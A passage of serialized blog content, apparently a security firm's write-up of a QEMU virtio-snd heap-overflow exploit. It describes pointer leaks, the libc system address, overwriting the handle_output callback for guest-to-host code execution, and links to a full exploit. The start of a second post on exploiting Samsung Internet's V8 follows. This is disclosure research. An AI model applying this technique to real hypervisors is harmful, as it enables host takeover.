iov_to_buf",{"type":23,"tag":314,"props":130120,"children":130121},{"style":338},[130122],{"type":28,"value":341},{"type":23,"tag":314,"props":130124,"children":130125},{"style":360},[130126],{"type":28,"value":51315},{"type":23,"tag":314,"props":130128,"children":130129},{"style":338},[130130],{"type":28,"value":1015},{"type":23,"tag":314,"props":130132,"children":130133},{"style":360},[130134],{"type":28,"value":123662},{"type":23,"tag":314,"props":130136,"children":130137},{"style":338},[130138],{"type":28,"value":1870},{"type":23,"tag":314,"props":130140,"children":130141},{"class":316,"line":1617},[130142,130147,130151,130156],{"type":23,"tag":314,"props":130143,"children":130144},{"style":360},[130145],{"type":28,"value":130146}," elem",{"type":23,"tag":314,"props":130148,"children":130149},{"style":338},[130150],{"type":28,"value":1015},{"type":23,"tag":314,"props":130152,"children":130153},{"style":360},[130154],{"type":28,"value":130155},"out_num",{"type":23,"tag":314,"props":130157,"children":130158},{"style":338},[130159],{"type":28,"value":1870},{"type":23,"tag":314,"props":130161,"children":130162},{"class":316,"line":1625},[130163,130168],{"type":23,"tag":314,"props":130164,"children":130165},{"style":1054},[130166],{"type":28,"value":130167}," 0",{"type":23,"tag":314,"props":130169,"children":130170},{"style":338},[130171],{"type":28,"value":1870},{"type":23,"tag":314,"props":130173,"children":130174},{"class":316,"line":1660},[130175,130180],{"type":23,"tag":314,"props":130176,"children":130177},{"style":354},[130178],{"type":28,"value":130179}," &",{"type":23,"tag":314,"props":130181,"children":130182},{"style":338},[130183],{"type":28,"value":130184},"hdr,\n",{"type":23,"tag":314,"props":130186,"children":130187},{"class":316,"line":1708},[130188,130193],{"type":23,"tag":314,"props":130189,"children":130190},{"style":321},[130191],{"type":28,"value":130192}," sizeof",{"type":23,"tag":314,"props":130194,"children":130195},{"style":338},[130196],{"type":28,"value":130197},"(virtio_snd_pcm_xfer));\n",{"type":23,"tag":314,"props":130199,"children":130200},{"class":316,"line":1743},[130201,130205,130210,130214,130218],{"type":23,"tag":314,"props":130202,"children":130203},{"style":2284},[130204],{"type":28,"value":2527},{"type":23,"tag":314,"props":130206,"children":130207},{"style":338},[130208],{"type":28,"value":130209}," (msg_sz ",{"type":23,"tag":314,"props":130211,"children":130212},{"style":354},[130213],{"type":28,"value":1196},{"type":23,"tag":314,"props":130215,"children":130216},{"style":321},[130217],{"type":28,"value":1067},{"type":23,"tag":314,"props":130219,"children":130220},{"style":338},[130221],{"type":28,"value":130222},"(virtio_snd_pcm_xfer)) {\n",{"type":23,"tag":314,"props":130224,"children":130225},{"class":316,"line":1751},[130226,130230],{"type":23,"tag":314,"props":130227,"children":130228},{"style":2284},[130229],{"type":28,"value":59801},{"type":23,"tag":314,"props":130231,"children":130232},{"style":338},[130233],{"type":28,"value":130234}," rx_err;\n",{"type":23,"tag":314,"props":130236,"children":130237},{"class":316,"line":1791},[130238],{"type":23,"tag":314,"props":130239,"children":130240},{"style":338},[130241],{"type":28,"value":2602},{"type":23,"tag":314,"props":130243,"children":130244},{"class":316,"line":1805},[130245,130250,130254,130258,130262,130267,130271,130276],{"type":23,"tag":314,"props":130246,"children":130247},{"style":338},[130248],{"type":28,"value":130249}," stream_id ",{"type":23,"tag":314,"props":130251,"children":130252},{"style":354},[130253],{"type":28,"value":1102},{"type":23,"tag":314,"props":130255,"children":130256},{"style":332},[130257],{"type":28,"value":125123},{"type":23,"tag":314,"props":130259,"children":130260},{"style":338},[130261],{"type":28,"value":341},{"type":23,"tag":314,"props":130263,"children":130264},{"style":360},[130265],{"type":28,"value":130266},"hdr",{"type":23,"tag":314,"props":130268,"children":130269},{"style":338},[130270],{"type":28,"value":282},{"type":23,"tag":314,"props":130272,"children":130273},{"style":360},[130274],{"type":28,"value":130275},"stream_id",{"type":23,"tag":314,"props":130277,"children":130278},{"style":338},[130279],{"type":28,"value":1025},{"type":23,"tag":314,"props":130281,"children":130282},{"class":316,"line":1818},[130283],{"type":23,"tag":314,"props":130284,"children":130285},{"emptyLinePlaceholder":18},[130286],{"type":28,"value":1088},{"type":23,"tag":314,"props":130288,"children":130289},{"class":316,"line":1873},[130290],{"type":23,"tag":314,"props":130291,"children":130292},{"style":338},[130293],{"type":28,"value":123291},{"type":23,"tag":314,"props":130295,"children":130296},{"class":316,"line":1891},[130297],{"type":23,"tag":314,"props":130298,"children":130299},{"emptyLinePlaceholder":18},[130300],{"type":28,"value":1088},{"type":23,"tag":314,"props":130302,"children":130303},{"class":316,"line":1899},[130304,130308,130312,130316,130320,130324,130328],{"type":23,"tag":314,"props":130305,"children":130306},{"style":332},[130307],{"type":28,"value":123306},{"type":23,"tag":314,"props":130309,"children":130310},{"style":338},[130311],{"type":28,"value":341},{"type":23,"tag":314,"props":130313,"children":130314},{"style":354},[130315],{"type":28,"value":1833},{"type":23,"tag":314,"props":130317,"children":130318},{"style":360},[130319],{"type":28,"value":35510},{"type":23,"tag":314,"props":130321,"children":130322},{"style":338},[130323],{"type":28,"value":1015},{"type":23,"tag":314,"props":130325,"children":130326},{"style":360},[130327],{"type":28,"value":123327},{"type":23,"tag":314,"props":130329,"children":130330},{"style":338},[130331],{"type":28,"value":367},{"type":23,"tag":314,"props":130333,"children":130334},{"class":316,"line":1944},[130335,130339,130343,130347,130351,130355,130359,130363,130367,130371,130375,130379,130383],{"type":23,"tag":314,"props":130336,"children":130337},{"style":338},[130338],{"type":28,"value":123339},{"type":23,"tag":314,"props":130340,"children":130341},{"style":354},[130342],{"type":28,"value":1102},{"type":23,"tag":314,"props":130344,"children":130345},{"style":332},[130346],{"type":28,"value":123348},{"type":23,"tag":314,"props":130348,"children":130349},{"style":338},[130350],{"type":28,"value":341},{"type":23,"tag":314,"props":130352,"children":130353},{"style":360},[130354],{"type":28,"value":51315},{"type":23,"tag":314,"props":130356,"children":130357},{"style":338},[130358],{"type":28,"value":1015},{"type":23,"tag":314,"props":130360,"children":130361},{"style":360},[130362],{"type":28,"value":123365},{"type":23,"tag":314,"props":130364,"children":130365},{"style":338},[130366],{"type":28,"value":778},{"type":23,"tag":314,"props":130368,"children":130369},{"style":360},[130370],{"type":28,"value":51315},{"type":23,"tag":314,"props":130372,"children":130373},{"style":338},[130374],{"type":28,"value":1015},{"type":23,"tag":314,"props":130376,"children":130377},{"style":360},[130378],{"type":28,"value":123382},{"type":23,"tag":314,"props":130380,"children":130381},{"style":338},[130382],{"type":28,"value":2343},{"type":23,"tag":314,"props":130384,"children":130385},{"style":354},[130386],{"type":28,"value":50112},{"type":23,"tag":314,"props":130388,"children":130389},{"class":316,"line":2008},[130390,130394],{"type":23,"tag":314,"props":130391,"children":130392},{"style":321},[130393],{"type":28,"value":123398},{"type":23,"tag":314,"props":130395,"children":130396},{"style":338},[130397],{"type":28,"value":130398},"(virtio_snd_pcm_status);\n",{"type":23,"tag":314,"props":130400,"children":130401},{"class":316,"line":2043},[130402,130406,130410,130414,130418,130422,130426,130430,130435],{"type":23,"tag":314,"props":130403,"children":130404},{"style":338},[130405],{"type":28,"value":123416},{"type":23,"tag":314,"props":130407,"children":130408},{"style":354},[130409],{"type":28,"value":1102},{"type":23,"tag":314,"props":130411,"children":130412},{"style":332},[130413],{"type":28,"value":123425},{"type":23,"tag":314,"props":130415,"children":130416},{"style":338},[130417],{"type":28,"value":341},{"type":23,"tag":314,"props":130419,"children":130420},{"style":321},[130421],{"type":28,"value":1609},{"type":23,"tag":314,"props":130423,"children":130424},{"style":338},[130425],{"type":28,"value":123438},{"type":23,"tag":314,"props":130427,"children":130428},{"style":354},[130429],{"type":28,"value":1130},{"type":23,"tag":314,"props":130431,"children":130432},{"style":338},[130433],{"type":28,"value":130434}," size);",{"type":23,"tag":314,"props":130436,"children":130437},{"style":374},[130438],{"type":28,"value":130439}," // [1]\n",{"type":23,"tag":314,"props":130441,"children":130442},{"class":316,"line":22803},[130443,130447,130451,130455,130459],{"type":23,"tag":314,"props":130444,"children":130445},{"style":360},[130446],{"type":28,"value":123455},{"type":23,"tag":314,"props":130448,"children":130449},{"style":338},[130450],{"type":28,"value":1015},{"type":23,"tag":314,"props":130452,"children":130453},{"style":360},[130454],{"type":28,"value":51315},{"type":23,"tag":314,"props":130456,"children":130457},{"style":354},[130458],{"type":28,"value":1237},{"type":23,"tag":314,"props":130460,"children":130461},{"style":338},[130462],{"type":28,"value":123472},{"type":23,"tag":314,"props":130464,"children":130465},{"class":316,"line":22845},[130466,130470,130474,130478,130482,130487],{"type":23,"tag":314,"props":130467,"children":130468},{"style":360},[130469],{"type":28,"value":123455},{"type":23,"tag":314,"props":130471,"children":130472},{"style":338},[130473],{"type":28,"value":1015},{"type":23,"tag":314,"props":130475,"children":130476},{"style":360},[130477],{"type":28,"value":123124},{"type":23,"tag":314,"props":130479,"children":130480},{"style":354},[130481],{"type":28,"value":1237},{"type":23,"tag":314,"props":130483,"children":130484},{"style":338},[130485],{"type":28,"value":130486}," vq;",{"type":23,"tag":314,"props":130488,"children":130489},{"style":374},[130490],{"type":28,"value":130491}," // [2]\n",{"type":23,"tag":314,"props":130493,"children":130494},{"class":316,"line":22878},[130495,130499,130503,130507,130511,130515],{"type":23,"tag":314,"props":130496,"children":130497},{"style":360},[130498],{"type":28,"value":123455},{"type":23,"tag":314,"props":130500,"children":130501},{"style":338},[130502],{"type":28,"value":1015},{"type":23,"tag":314,"props":130504,"children":130505},{"style":360},[130506],{"type":28,"value":123512},{"type":23,"tag":314,"props":130508,"children":130509},{"style":354},[130510],{"type":28,"value":1237},{"type":23,"tag":314,"props":130512,"children":130513},{"style":1054},[130514],{"type":28,"value":1201},{"type":23,"tag":314,"props":130516,"children":130517},{"style":338},[130518],{"type":28,"value":2278},{"type":23,"tag":314,"props":130520,"children":130521},{"class":316,"line":22886},[130522,130526,130530,130534,130538,130542],{"type":23,"tag":314,"props":130523,"children":130524},{"style":360},[130525],{"type":28,"value":123455},{"type":23,"tag":314,"props":130527,"children":130528},{"style":338},[130529],{"type":28,"value":1015},{"type":23,"tag":314,"props":130531,"children":130532},{"style":360},[130533],{"type":28,"value":13148},{"type":23,"tag":314,"props":130535,"children":130536},{"style":354},[130537],{"type":28,"value":1237},{"type":23,"tag":314,"props":130539,"children":130540},{"style":1054},[130541],{"type":28,"value":1201},{"type":23,"tag":314,"props":130543,"children":130544},{"style":338},[130545],{"type":28,"value":2278},{"type":23,"tag":314,"props":130547,"children":130548},{"class":316,"line":22894},[130549,130553,130557,130561,130565,130569,130573],{"type":23,"tag":314,"props":130550,"children":130551},{"style":332},[130552],{"type":28,"value":123559},{"type":23,"tag":314,"props":130554,"children":130555},{"style":338},[130556],{"type":28,"value":341},{"type":23,"tag":314,"props":130558,"children":130559},{"style":354},[130560],{"type":28,"value":1833},{"type":23,"tag":314,"props":130562,"children":130563},{"style":360},[130564],{"type":28,"value":35510},{"type":23,"tag":314,"props":130566,"children":130567},{"style":338},[130568],{"type":28,"value":1015},{"type":23,"tag":314,"props":130570,"children":130571},{"style":360},[130572],{"type":28,"value":123580},{"type":23,"tag":314,"props":130574,"children":130575},{"style":338},[130576],{"type":28,"value":130577},", buffer, entry);\n",{"type":23,"tag":314,"props":130579,"children":130580},{"class":316,"line":22903},[130581],{"type":23,"tag":314,"props":130582,"children":130583},{"style":338},[130584],{"type":28,"value":2602},{"type":23,"tag":24,"props":130586,"children":130587},{},[130588,130589,130594,130596,130601,130603,130608,130610,130616],{"type":28,"value":123634},{"type":23,"tag":94,"props":130590,"children":130592},{"className":130591},[],[130593],{"type":28,"value":123640},{"type":28,"value":130595},", QEMU allocates a ",{"type":23,"tag":94,"props":130597,"children":130599},{"className":130598},[],[130600],{"type":28,"value":123777},{"type":28,"value":130602}," whose size depends on the guest-provided iovec, and at ",{"type":23,"tag":94,"props":130604,"children":130606},{"className":130605},[],[130607],{"type":28,"value":123675},{"type":28,"value":130609}," it stores the ",{"type":23,"tag":94,"props":130611,"children":130613},{"className":130612},[],[130614],{"type":28,"value":130615},"VirtQueue *vq",{"type":28,"value":130617}," pointer into the buffer.",{"type":23,"tag":24,"props":130619,"children":130620},{},[130621,130622,130628],{"type":28,"value":63469},{"type":23,"tag":94,"props":130623,"children":130625},{"className":130624},[],[130626],{"type":28,"value":130627},"VirtQueue",{"type":28,"value":130629}," structure contains some useful fields:",{"type":23,"tag":304,"props":130631,"children":130633},{"code":130632,"language":308,"meta":7,"className":306,"style":7},"struct VirtQueue\n{\n [...]\n\n VirtIOHandleOutput handle_output;\n VirtIODevice *vdev;\n\n [...]\n};\n",[130634],{"type":23,"tag":94,"props":130635,"children":130636},{"__ignoreMap":7},[130637,130649,130656,130663,130670,130678,130695,130702,130709],{"type":23,"tag":314,"props":130638,"children":130639},{"class":316,"line":317},[130640,130644],{"type":23,"tag":314,"props":130641,"children":130642},{"style":321},[130643],{"type":28,"value":8651},{"type":23,"tag":314,"props":130645,"children":130646},{"style":338},[130647],{"type":28,"value":130648}," VirtQueue\n",{"type":23,"tag":314,"props":130650,"children":130651},{"class":316,"line":370},[130652],{"type":23,"tag":314,"props":130653,"children":130654},{"style":338},[130655],{"type":28,"value":10129},{"type":23,"tag":314,"props":130657,"children":130658},{"class":316,"line":380},[130659],{"type":23,"tag":314,"props":130660,"children":130661},{"style":338},[130662],{"type":28,"value":104053},{"type":23,"tag":314,"props":130664,"children":130665},{"class":316,"line":1091},[130666],{"type":23,"tag":314,"props":130667,"children":130668},{"emptyLinePlaceholder":18},[130669],{"type":28,"value":1088},{"type":23,"tag":314,"props":130671,"children":130672},{"class":316,"line":1141},[130673],{"type":23,"tag":314,"props":130674,"children":130675},{"style":338},[130676],{"type":28,"value":130677}," VirtIOHandleOutput handle_output;\n",{"type":23,"tag":314,"props":130679,"children":130680},{"class":316,"line":1173},[130681,130686,130690],{"type":23,"tag":314,"props":130682,"children":130683},{"style":338},[130684],{"type":28,"value":130685}," VirtIODevice ",{"type":23,"tag":314,"props":130687,"children":130688},{"style":354},[130689],{"type":28,"value":256},{"type":23,"tag":314,"props":130691,"children":130692},{"style":338},[130693],{"type":28,"value":130694},"vdev;\n",{"type":23,"tag":314,"props":130696,"children":130697},{"class":316,"line":1208},[130698],{"type":23,"tag":314,"props":130699,"children":130700},{"emptyLinePlaceholder":18},[130701],{"type":28,"value":1088},{"type":23,"tag":314,"props":130703,"children":130704},{"class":316,"line":1216},[130705],{"type":23,"tag":314,"props":130706,"children":130707},{"style":338},[130708],{"type":28,"value":104053},{"type":23,"tag":314,"props":130710,"children":130711},{"class":316,"line":1301},[130712],{"type":23,"tag":314,"props":130713,"children":130714},{"style":338},[130715],{"type":28,"value":1545},{"type":23,"tag":24,"props":130717,"children":130718},{},[130719,130720,130726,130728,130734],{"type":28,"value":92},{"type":23,"tag":94,"props":130721,"children":130723},{"className":130722},[],[130724],{"type":28,"value":130725},".handle_output",{"type":28,"value":130727}," field is a callback, specifically a function pointer that gets called when the virtqueue receives a notification from the guest, and ",{"type":23,"tag":94,"props":130729,"children":130731},{"className":130730},[],[130732],{"type":28,"value":130733},".vdev",{"type":28,"value":130735}," is the pointer passed to it as the first argument:",{"type":23,"tag":304,"props":130737,"children":130739},{"code":130738,"language":308,"meta":7,"className":306,"style":7},"static void virtio_queue_notify_vq(VirtQueue *vq)\n{\n if (vq->vring.desc && vq->handle_output) {\n VirtIODevice *vdev = vq->vdev;\n\n [...]\n\n vq->handle_output(vdev, vq);\n\n [...]\n }\n}\n",[130740],{"type":23,"tag":94,"props":130741,"children":130742},{"__ignoreMap":7},[130743,130776,130783,130838,130875,130882,130889,130896,130917,130924,130931,130938],{"type":23,"tag":314,"props":130744,"children":130745},{"class":316,"line":317},[130746,130750,130754,130759,130764,130768,130772],{"type":23,"tag":314,"props":130747,"children":130748},{"style":321},[130749],{"type":28,"value":50295},{"type":23,"tag":314,"props":130751,"children":130752},{"style":321},[130753],{"type":28,"value":50300},{"type":23,"tag":314,"props":130755,"children":130756},{"style":332},[130757],{"type":28,"value":130758}," virtio_queue_notify_vq",{"type":23,"tag":314,"props":130760,"children":130761},{"style":338},[130762],{"type":28,"value":130763},"(VirtQueue ",{"type":23,"tag":314,"props":130765,"children":130766},{"style":354},[130767],{"type":28,"value":256},{"type":23,"tag":314,"props":130769,"children":130770},{"style":360},[130771],{"type":28,"value":123124},{"type":23,"tag":314,"props":130773,"children":130774},{"style":338},[130775],{"type":28,"value":2414},{"type":23,"tag":314,"props":130777,"children":130778},{"class":316,"line":370},[130779],{"type":23,"tag":314,"props":130780,"children":130781},{"style":338},[130782],{"type":28,"value":10129},{"type":23,"tag":314,"props":130784,"children":130785},{"class":316,"line":380},[130786,130790,130794,130798,130802,130807,130811,130816,130820,130825,130829,130834],{"type":23,"tag":314,"props":130787,"children":130788},{"style":2284},[130789],{"type":28,"value":11527},{"type":23,"tag":314,"props":130791,"children":130792},{"style":338},[130793],{"type":28,"value":2324},{"type":23,"tag":314,"props":130795,"children":130796},{"style":360},[130797],{"type":28,"value":123124},{"type":23,"tag":314,"props":130799,"children":130800},{"style":338},[130801],{"type":28,"value":1015},{"type":23,"tag":314,"props":130803,"children":130804},{"style":360},[130805],{"type":28,"value":130806},"vring",{"type":23,"tag":314,"props":130808,"children":130809},{"style":338},[130810],{"type":28,"value":282},{"type":23,"tag":314,"props":130812,"children":130813},{"style":360},[130814],{"type":28,"value":130815},"desc",{"type":23,"tag":314,"props":130817,"children":130818},{"style":354},[130819],{"type":28,"value":13432},{"type":23,"tag":314,"props":130821,"children":130822},{"style":360},[130823],{"type":28,"value":130824}," vq",{"type":23,"tag":314,"props":130826,"children":130827},{"style":338},[130828],{"type":28,"value":1015},{"type":23,"tag":314,"props":130830,"children":130831},{"style":360},[130832],{"type":28,"value":130833},"handle_output",{"type":23,"tag":314,"props":130835,"children":130836},{"style":338},[130837],{"type":28,"value":367},{"type":23,"tag":314,"props":130839,"children":130840},{"class":316,"line":1091},[130841,130846,130850,130855,130859,130863,130867,130871],{"type":23,"tag":314,"props":130842,"children":130843},{"style":338},[130844],{"type":28,"value":130845}," VirtIODevice ",{"type":23,"tag":314,"props":130847,"children":130848},{"style":354},[130849],{"type":28,"value":256},{"type":23,"tag":314,"props":130851,"children":130852},{"style":338},[130853],{"type":28,"value":130854},"vdev ",{"type":23,"tag":314,"props":130856,"children":130857},{"style":354},[130858],{"type":28,"value":1102},{"type":23,"tag":314,"props":130860,"children":130861},{"style":360},[130862],{"type":28,"value":130824},{"type":23,"tag":314,"props":130864,"children":130865},{"style":338},[130866],{"type":28,"value":1015},{"type":23,"tag":314,"props":130868,"children":130869},{"style":360},[130870],{"type":28,"value":123110},{"type":23,"tag":314,"props":130872,"children":130873},{"style":338},[130874],{"type":28,"value":2278},{"type":23,"tag":314,"props":130876,"children":130877},{"class":316,"line":1141},[130878],{"type":23,"tag":314,"props":130879,"children":130880},{"emptyLinePlaceholder":18},[130881],{"type":28,"value":1088},{"type":23,"tag":314,"props":130883,"children":130884},{"class":316,"line":1173},[130885],{"type":23,"tag":314,"props":130886,"children":130887},{"style":338},[130888],{"type":28,"value":123291},{"type":23,"tag":314,"props":130890,"children":130891},{"class":316,"line":1208},[130892],{"type":23,"tag":314,"props":130893,"children":130894},{"emptyLinePlaceholder":18},[130895],{"type":28,"value":1088},{"type":23,"tag":314,"props":130897,"children":130898},{"class":316,"line":1216},[130899,130904,130908,130912],{"type":23,"tag":314,"props":130900,"children":130901},{"style":360},[130902],{"type":28,"value":130903}," vq",{"type":23,"tag":314,"props":130905,"children":130906},{"style":338},[130907],{"type":28,"value":1015},{"type":23,"tag":314,"props":130909,"children":130910},{"style":332},[130911],{"type":28,"value":130833},{"type":23,"tag":314,"props":130913,"children":130914},{"style":338},[130915],{"type":28,"value":130916},"(vdev, vq);\n",{"type":23,"tag":314,"props":130918,"children":130919},{"class":316,"line":1301},[130920],{"type":23,"tag":314,"props":130921,"children":130922},{"emptyLinePlaceholder":18},[130923],{"type":28,"value":1088},{"type":23,"tag":314,"props":130925,"children":130926},{"class":316,"line":1343},[130927],{"type":23,"tag":314,"props":130928,"children":130929},{"style":338},[130930],{"type":28,"value":123291},{"type":23,"tag":314,"props":130932,"children":130933},{"class":316,"line":1351},[130934],{"type":23,"tag":314,"props":130935,"children":130936},{"style":338},[130937],{"type":28,"value":2610},{"type":23,"tag":314,"props":130939,"children":130940},{"class":316,"line":1387},[130941],{"type":23,"tag":314,"props":130942,"children":130943},{"style":338},[130944],{"type":28,"value":386},{"type":23,"tag":24,"props":130946,"children":130947},{},[130948,130950,130955,130957,130962,130964,130970,130972,130977,130978,130983,130985,130990],{"type":28,"value":130949},"This means that if we free the known-address chunk and replace it with a ",{"type":23,"tag":94,"props":130951,"children":130953},{"className":130952},[],[130954],{"type":28,"value":123777},{"type":28,"value":130956}," - which is straightforward, since we control the buffer allocation size through the ",{"type":23,"tag":94,"props":130958,"children":130960},{"className":130959},[],[130961],{"type":28,"value":123365},{"type":28,"value":130963}," iovec - we can use the arbitrary read primitive to read its ",{"type":23,"tag":94,"props":130965,"children":130967},{"className":130966},[],[130968],{"type":28,"value":130969},".vq",{"type":28,"value":130971}," pointer, then follow that pointer to leak ",{"type":23,"tag":94,"props":130973,"children":130975},{"className":130974},[],[130976],{"type":28,"value":130725},{"type":28,"value":15294},{"type":23,"tag":94,"props":130979,"children":130981},{"className":130980},[],[130982],{"type":28,"value":130627},{"type":28,"value":130984}," structure. In our case, that field points to ",{"type":23,"tag":94,"props":130986,"children":130988},{"className":130987},[],[130989],{"type":28,"value":123017},{"type":28,"value":130991},", which gives us QEMU's base address.",{"type":23,"tag":24,"props":130993,"children":130994},{},[130995,130997,131003],{"type":28,"value":130996},"From there, we can use the arbitrary read primitive once more to read a resolved entry from QEMU's GOT, leaking a libc address. With that, we can compute the address of ",{"type":23,"tag":94,"props":130998,"children":131000},{"className":130999},[],[131001],{"type":28,"value":131002},"system",{"type":28,"value":282},{"type":23,"tag":837,"props":131005,"children":131007},{"id":131006},"rip-control",[131008],{"type":28,"value":131009},"RIP Control",{"type":23,"tag":24,"props":131011,"children":131012},{},[131013,131015,131020,131022,131028],{"type":28,"value":131014},"At this point, we have everything we need: an arbitrary read/write primitive, a QEMU code leak, and the address of ",{"type":23,"tag":94,"props":131016,"children":131018},{"className":131017},[],[131019],{"type":28,"value":131002},{"type":28,"value":131021},". To hijack control flow, we do not need to look far - we just described a function pointer on the heap at a known address: ",{"type":23,"tag":94,"props":131023,"children":131025},{"className":131024},[],[131026],{"type":28,"value":131027},"VirtQueue.handle_output",{"type":28,"value":282},{"type":23,"tag":24,"props":131030,"children":131031},{},[131032,131034,131039,131041,131046,131048,131053],{"type":28,"value":131033},"We overwrite ",{"type":23,"tag":94,"props":131035,"children":131037},{"className":131036},[],[131038],{"type":28,"value":130725},{"type":28,"value":131040}," with the address of ",{"type":23,"tag":94,"props":131042,"children":131044},{"className":131043},[],[131045],{"type":28,"value":131002},{"type":28,"value":131047}," and write the command string we want to execute into memory using our arbitrary write. Then we overwrite ",{"type":23,"tag":94,"props":131049,"children":131051},{"className":131050},[],[131052],{"type":28,"value":130733},{"type":28,"value":131054}," with the address of that command string, so it is passed as the first argument.",{"type":23,"tag":24,"props":131056,"children":131057},{},[131058,131060,131066,131068,131074,131076,131082],{"type":28,"value":131059},"Then, we simply notify the virtqueue from the guest. QEMU enters ",{"type":23,"tag":94,"props":131061,"children":131063},{"className":131062},[],[131064],{"type":28,"value":131065},"virtio_queue_notify_vq",{"type":28,"value":131067},", which calls ",{"type":23,"tag":94,"props":131069,"children":131071},{"className":131070},[],[131072],{"type":28,"value":131073},"vq->handle_output(vq->vdev)",{"type":28,"value":131075}," - or, after our overwrites, ",{"type":23,"tag":94,"props":131077,"children":131079},{"className":131078},[],[131080],{"type":28,"value":131081},"system(command)",{"type":28,"value":282},{"type":23,"tag":24,"props":131084,"children":131085},{},[131086,131088,131094,131096],{"type":28,"value":131087},"Finally, with all of this, we achieve a reliable guest-to-host escape and execute ",{"type":23,"tag":94,"props":131089,"children":131091},{"className":131090},[],[131092],{"type":28,"value":131093},"gnome-calculator",{"type":28,"value":131095}," on the host system:\n",{"type":23,"tag":30218,"props":131097,"children":131098},{},[],{"type":23,"tag":131100,"props":131101,"children":131110},"tweet-card",{"author-name":131102,"date":131103,"duration":131104,"handle":131105,"media-mime-type":131106,"media-src":131107,"media-type":131108,"tweet-url":131109},"OtterSec","March 5, 2026","0:12","@osec_io","video/mp4","/posts/virtio-snd-qemu-0day/demo.mp4","video","https://x.com/osec_io/status/2029643325125390550",[131111,131116,131121],{"type":23,"tag":24,"props":131112,"children":131113},{},[131114],{"type":28,"value":131115},"We recently achieved guest-to-host escape by exploiting a QEMU 0day.",{"type":23,"tag":24,"props":131117,"children":131118},{},[131119],{"type":28,"value":131120},"We’ll share details on a new technique leveraging the latest glibc allocator behavior and what we believe is a novel QEMU-specific heap spray/RIP-control primitive.",{"type":23,"tag":24,"props":131122,"children":131123},{},[131124],{"type":28,"value":131125},"Writeup coming next week.",{"type":23,"tag":30218,"props":131127,"children":131128},{},[],{"type":23,"tag":24,"props":131130,"children":131131},{},[131132,131134,131140,131142,131148],{"type":28,"value":131133},"The final exploit, targeting QEMU commit ",{"type":23,"tag":94,"props":131135,"children":131137},{"className":131136},[],[131138],{"type":28,"value":131139},"ece408818d27f745ef1b05fb3cc99a1e7a5bf580",{"type":28,"value":131141}," (Feb 13, 2026) and the latest glibc 2.43, can be found ",{"type":23,"tag":31,"props":131143,"children":131146},{"href":131144,"rel":131145},"https://github.com/otter-sec/qemu-escape",[35],[131147],{"type":28,"value":46834},{"type":28,"value":282},{"type":23,"tag":24,"props":131150,"children":131151},{},[131152,131154,131161],{"type":28,"value":131153},"Special thanks to ",{"type":23,"tag":31,"props":131155,"children":131158},{"href":131156,"rel":131157},"https://www.willsroot.io/",[35],[131159],{"type":28,"value":131160},"William Liu",{"type":28,"value":131162}," for proofreading this post and helping us polish it before publication.",{"type":23,"tag":61,"props":131164,"children":131165},{"id":28180},[131166],{"type":28,"value":18185},{"type":23,"tag":24,"props":131168,"children":131169},{},[131170],{"type":28,"value":131171},"Starting from a heap overflow where the written bytes are effectively random, we showed how careful heap grooming and a favorable change in glibc 2.43's allocator can turn even a single byte of uncontrolled corruption into a reliable guest-to-host escape.",{"type":23,"tag":24,"props":131173,"children":131174},{},[131175],{"type":28,"value":131176},"More broadly, this exploit is a reminder that weak-looking primitives should not be dismissed too quickly - with the right heap layout and target, even highly constrained corruption can be enough.",{"type":23,"tag":2096,"props":131178,"children":131179},{},[131180],{"type":28,"value":2100},{"title":7,"searchDepth":370,"depth":370,"links":131182},[131183,131186,131189,131198],{"id":122913,"depth":370,"text":122926,"children":131184},[131185],{"id":122934,"depth":380,"text":122937},{"id":122958,"depth":370,"text":122961,"children":131187},[131188],{"id":122972,"depth":380,"text":122972},{"id":99360,"depth":370,"text":99363,"children":131190},[131191,131192,131193,131194,131195,131196,131197],{"id":125563,"depth":380,"text":125566},{"id":127090,"depth":380,"text":127093},{"id":127884,"depth":380,"text":127887},{"id":128289,"depth":380,"text":128292},{"id":128505,"depth":380,"text":128508},{"id":128711,"depth":380,"text":128714},{"id":131006,"depth":380,"text":131009},{"id":28180,"depth":370,"text":18185},"content:blog:2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape",{"_path":131203,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":131204,"description":131205,"date":131206,"author":131207,"image":131210,"isFeatured":18,"onBlogPage":18,"tags":131212,"body":131215,"_type":2117,"_id":141123,"_source":2119,"_file":141124,"_stem":141125,"_extension":2122},"/blog/2026-04-01-patch-gap-to-mobile-renderer-rce","Patch Gap to Mobile Renderer RCE: Pwning Samsung Internet's V8 on the Galaxy S25","Samsung Internet on the Galaxy S25 shipped a six-month-old version of V8, exposing it to publicly known bugs. Learn how we exploited a bytecode interpreter vulnerability to achieve renderer RCE and universal XSS in the browser.","2026-04-01T12:00:00.000Z",[122909,131208,131209],"jamie","william",{"src":131211,"width":96520,"height":12871},"/posts/mobile-renderer-rce/title.png",[131213,131214],"RCE","mobile",{"type":20,"children":131216,"toc":141103},[131217,131221,131226,131240,131246,131260,131281,131289,131302,131310,131323,131329,131342,131356,131362,131376,131479,131484,131492,131497,131502,131523,131601,131609,131628,131641,131647,131653,131667,131783,131788,131793,131801,131806,131814,131842,131871,131883,132059,132064,132072,132091,132104,132110,132130,132144,132149,132154,132182,132218,132287,132293,132315,132320,132328,132341,132346,132354,132359,132398,132404,132417,132422,132600,132610,132618,132638,132662,132675,132681,132686,133328,133333,133341,133383,135372,135377,135385,135391,135424,135442,135612,135670,135695,135789,135794,136585,136590,136598,136609,138653,138658,138666,138672,138694,138708,138721,138733,138763,138768,139209,139237,139344,139361,139518,139523,139535,139831,139857,139880,140012,140024,140029,140181,140217,140230,140235,140357,140398,140475,140480,141054,141060,141072,141085,141089,141094,141099],{"type":23,"tag":61,"props":131218,"children":131219},{"id":28263},[131220],{"type":28,"value":28266},{"type":23,"tag":24,"props":131222,"children":131223},{},[131224],{"type":28,"value":131225},"The supply chain dependency in today's software landscape is extremely complex. Any vulnerability in a core library creates an exploitable window for its dependents - maintainers either fall behind on the exhausting update schedule, backport incorrectly, or even forget about it entirely.",{"type":23,"tag":24,"props":131227,"children":131228},{},[131229,131231,131238],{"type":28,"value":131230},"One such example is V8, a JavaScript engine used ubiquitously in Chromium and Node.js-based software. In collaboration with the ",{"type":23,"tag":31,"props":131232,"children":131235},{"href":131233,"rel":131234},"https://cor.team",[35],[131236],{"type":28,"value":131237},"Crusaders of Rust",{"type":28,"value":131239}," Security Research Group, we decided to analyze the version of V8 in Samsung Internet (the default browser on Samsung phones) on a Samsung Galaxy S25 in hopes of an n-day 